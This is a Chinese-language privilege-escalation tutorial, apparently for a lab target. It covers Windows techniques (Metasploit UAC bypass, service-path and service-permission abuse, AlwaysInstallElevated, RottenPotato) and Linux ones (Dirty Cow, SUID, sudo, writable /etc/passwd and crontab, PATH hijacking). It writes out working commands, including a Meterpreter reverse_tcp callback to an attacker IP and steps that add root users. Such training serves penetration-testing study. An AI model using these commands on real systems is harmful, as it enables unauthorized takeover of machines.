权限提升
简介
权限提升是指将操作系统中的低权限用户提升为高权限用户,例如在 Linux 系统中将 www-data
用户提升为 root
用户,或在 Windows 系统中将普通用户提升为 Administrator
,甚至进一步提升为 SYSTEM
用户。
Windows 权限提升
Bypass UAC 提权
用户账户控制(UAC) 是 Windows 系统的一种安全机制,用于限制管理员组中非 Administrator
用户的权限。即使当前用户属于 Administrators
用户组,其权限也会受到 UAC 的限制。
前提条件:当前用户必须属于 Administrators
用户组。
Metasploit 绕过 UAC 提权步骤
攻击机通过 Metasploit 建立与靶机的连接。
使用以下命令配置并执行提权:
use exploit/windows/local/bypassuac set session <sessionID> # 指定需要提权的 session set payload windows/x64/meterpreter/reverse_tcp set lhost <攻击机IP> # 设置攻击机 IP set lport <攻击机端口> # 设置攻击机监听端口 set target 1 run
成功绕过 UAC 后,会生成一个新的 Meterpreter 会话,用户名仍为原用户名。
在新会话中运行
getprivs
命令,可确认已获得完整权限(Windows 通过权限而非用户名判断用户权限)。执行
getsystem
命令,切换到SYSTEM
用户。
drop_token
与 getsystem
drop_token
:将当前SYSTEM
用户降级为原始 Windows 用户。getsystem
:利用SeImpersonatePrivilege
权限模拟SYSTEM
用户令牌,实现权限提升。若当前权限不足,则无法执行getsystem
。
注意:SYSTEM
并非真实用户,无法直接用于建立 SMB 或 RDP 连接。
内核漏洞提权
Windows 内核运行于 SYSTEM
权限,历史内核漏洞可被利用进行提权。
操作步骤:
- 使用 Metasploit 模块
post/multi/recon/local_exploit_suggester
扫描靶机可能存在的内核漏洞。 - 根据扫描结果,选择相应的漏洞模块进行攻击(Windows 内核运行权限都是 SYSTEM 用户)。
错误的配置提权
不安全的服务路径
某些服务路径包含空格,可能导致 Windows 解析错误,攻击者可利用此漏洞植入木马。
示例:服务路径为 C:\Program File (x86)\FTP Folder\FTP Services\FTPServer.exe
。
Windows 解析策略:
- 尝试执行
C:\Program.exe
,参数为File (x86)\FTP Folder\FTP Services\FTPServer.exe
。 - 若
Program.exe
不存在,尝试执行C:\Program File (x86)\FTP.exe
,参数为Folder\FTP Services\FTPServer.exe
。 - 依此类推,直至正确解析到
FTPServer.exe
。
攻击者操作:
上传木马文件到以下任一位置:
C:\Program.exe C:\Program File (x86)\FTP.exe C:\Program File (x86)\FTP Folder\FTP.exe
重启服务或计算机(服务通常设置为开机自启)。
木马被触发,生成管理员权限的 Meterpreter 会话。
Metasploit 自动化攻击:
- 使用模块
windows/local/unquoted_service_path
,自动查找含空格的服务路径,上传木马,并在靶机重启时触发。
不安全的服务权限
某些服务允许普通用户修改、重启或关闭,攻击者可将服务路径修改为木马路径。
攻击流程:
- 查找普通用户可修改的服务路径。
- 将服务路径替换为木马
.exe
文件路径。 - 重启服务(通常普通用户也具有重启权限)。
Metasploit 自动化攻击:
- 使用模块
windows/local/service_permissions
,自动查找弱权限服务,上传木马,修改路径并重启服务。
管理员安装 MSI
若 Windows 开启 AlwaysInstallElevated
配置,所有 MSI 安装包将以管理员权限安装。
开启配置(需管理员权限):
chcp 65001 # 修改为 UTF-8 编码
reg add HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 /f
reg add HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 /f
reg add HKLM\Software\Policies\Microsoft\Windows\Installer /v DisableMSI /t REG_DWORD /d 0 /f
Metasploit 自动化攻击:
- 使用模块
windows/local/always_install_elevated
,检测是否开启AlwaysInstallElevated
,若开启,上传并静默安装 MSI 木马,完成后自动清理。
RottenPotato 提权
特点:将 Windows 服务账户(如 IIS APPPOOL\DefaultAppPool
)提升为 SYSTEM
。
前提条件:服务账户具有 SeImpersonatePrivilege
和 SeAssignPrimaryTokenPrivilege
权限。
Metasploit 自动化攻击:
- 使用模块
exploit/windows/local/ms16_075_reflection_juicy
,配置后执行即可提权。
Linux 权限提升
靶场环境:linux-elevate-hub
docker build -t linux_target:1.0 .
docker run -d -p 10022:22 linux_target:1.0
ssh zhangsan@192.168.2.243 -p 10022 # 密码:123456
内核漏洞提权
操作步骤:
- 使用
uname -a
查看内核版本。 - 在 Google、linux-kernel-exploits 或 exploitDB 搜索对应内核版本的漏洞。
示例:脏牛漏洞(Dirty Cow,CVE-2016-5195),支持任意地址和文件写入。
利用方法:
./dirty 123456
向 /etc/passwd
添加一个 uid=0
的用户(用户名:firefart
,密码:123456
)。
错误配置提权
SUID 提权
SUID 权限:文件以其属主的权限运行,而非调用者的权限。
查找 SUID 文件:
find / -perm -u=s -type f 2>/dev/null
利用方法:
- 在 GTFOBins 搜索具有 SUID 权限的命令及其提权方法。
- 执行相应命令,获取
root
权限(euid
为真实权限)。
sudo 提权
解释:sudo 提权是指 sudo 错误配置了无需密码就可以执行指令
查看 Sudo 权限:
sudo -l
利用方法:
- 若发现无需密码即可执行某些命令,检查 GTFOBins 获取提权方法。
- 执行提权命令。
/etc/passwd 权限错误
检查权限(是否可写):
ls -l /etc/passwd
攻击流程:
生成密码哈希:
openssl passwd -1 -salt 123 123456 # 输出示例:$1$123$7mft0jKnzzvAdU4t0unTG1
编辑
/etc/passwd
,将root
用户的密码哈希替换为生成的值。使用新密码登录
root
用户。
/etc/crontab 权限错误
检查权限(是否可写):
ls -l /etc/crontab
攻击流程:
- 若
/etc/crontab
可写,可添加计划任务,例如反弹 Shell、创建root
用户、赋予/etc/passwd
写权限等。 - 保存后等待任务执行。
环境变量劫持
场景:/tmp/shell
封装了 /usr/bin/ps
命令,且具有 SUID 权限,属主为 root
。
攻击流程:
创建伪造的
ps
命令:cd /tmp echo "/bin/bash" > ps chmod u+x ps
将
/tmp
添加到环境变量:export PATH=/tmp:$PATH
执行
/tmp/shell
,触发/tmp/ps
(内容为/bin/bash
),以root
权限运行。